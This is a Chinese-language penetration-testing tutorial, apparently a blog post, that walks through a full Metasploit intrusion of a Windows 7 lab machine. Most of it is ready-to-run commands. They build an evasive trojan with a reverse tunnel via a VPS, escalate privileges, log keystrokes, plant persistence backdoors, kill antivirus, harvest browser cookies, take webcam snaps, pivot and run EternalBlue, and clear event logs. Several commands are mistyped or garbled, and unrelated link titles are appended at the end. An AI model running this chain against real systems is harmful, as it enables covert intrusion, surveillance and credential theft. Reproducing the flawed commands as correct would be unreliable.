Metasploit一条龙服务
Metasploit 是目前最流行、最强大、最具扩展性的渗透测试平台软件，是笔者最崇拜也最喜欢的工具没有之一，下面我将用 msf 给大家带来一场盛大的内网渗透体验，别眨眼噢！
0x01. 实战操作
环境准备：
靶机 win 7 IP=192.168.43.150 kali linux IP=192.168.43.153 VPS 服务器 IP=xx.xx.xx.xx
实战演示：
1、先用 evil-evasion 生成具有一定免杀功能的 windows 木马，监听地址设成 VPS 的地址（打码防 D），然后将 VPS 上的 2333 端口映射到内网 kali 的 2333 端口，同时还要修改 VPS上 的 ssh 配置，不然别人是连不上 VPS 的（在实战中自己常常在内网，所以这里介绍一下 VPS ）
vi /etc/ssh/sshd_config && GatewayPorts:yes
ssh -CfNg -R xx.xx.xx.xx:2333:192.168.43.153:2333 root@xx.xx.xx.xx -p 29402
2、启动 kali 设置 msf 监听，lport=2333，lhost=192.168.43.153 (注意：这里的监听地址是 kali 的地址，不是 VPS 的），关于 msf 的基本操作网上有很多，这里不过多介绍，大家可以参考这个系列文章
http://www.freebuf.com/sectool/67674.html
[*]如果想要在 docker 启动持续监听可以用如下命令:
set exitonsession false && run -j
3、在 win 7 中执行木马
4、接收到 meterpreter 之后就应该将自己的进程迁移到一个隐蔽的进程中去，防止被查杀，这里笔者迁移到 win 7的桌面进程：
migrate 1988 && getpid
5、查看当前权限、系统信息，并尝试提权
getuid && sysinfo && getsystem
6、查看网络、路由信息
ifconfig && route
7、监视靶机的桌面
run vnc
8、启动键盘监听
keyscan_start && keyscan_dump
9、设置后门，维持权限
run persistence -U -i 10 -p 2333192.168.43.153
run persistence -X -i 10 -p 2333192.168.43.153
10、截屏查看靶机当前桌面
screenshot
11、查看当前系统空闲时间
idletime
12、禁用靶机使用键盘鼠标（笔者 win 7 系统是 64 位的，不支持这个操作）
uictl disable keyboard
uictl disable mouse
13、查找靶机中重要的敏感文件
search -d c:\ -f payload.exe
14、指定下载靶机中的文件到本地
dowmloadc:\Users\root\Desktop\payload.exe/root/Desktop
15、上传指定本地文件到靶机中
upload/root/Desktop/hack.jpegc:\Users\root\Desktop\payload.exe
16、打开靶机摄像头，win 7 虚拟机没有摄像头所以没反应
webcam_snap
0x02. 后渗透测试
1、调用 post 模块查看当前系统可用的提权模块
run post/multi/recon/local_exploit_suggester
2、调用 payload 模块对靶机进行远程桌面操作
set payload windows/vncinject/reverse_tcp
set viewonly no
3、关掉靶机中的杀软
killav
4、收集靶机浏览器的敏感信息(访问记录、cookie )
run post/windows/gather/enum_ie
5、设置路由转发，扫描内网机器开放的端口( routeadd 靶机 IP 子网掩码 sessions )
route add 92.168.43.150 255.255.255.0 3
use auxiliary/scanner/portscan/tcp
6、扫描一波内网有没有 ms17_010 漏洞的主机
use auxiliary/scanner/smb/smb_ms17_010
7、笔者扫到 win 7 就有这个漏洞，然后就愉快的调用 exp 搞一波
use exploit/windows/smb/ms17_010_eternalblue
8、功成身退
clearev
0x03. 结语
msf是真的强大，笔者总结的这些也只算是九牛一毛，大家在平时使用时多总结一定能玩出花儿来！
优质内容筛选与推荐>>1、各大IT公司2012校园招聘笔试面试整理（强烈推荐） .
2、Silverlight基础-我第一次学习就是模仿这个和官方教程学习的
3、[zt]〖Math〗构造函数使得任意小的区间所对应的值域都是整个实数域
4、Don't Change horse in midstream!
5、sql lock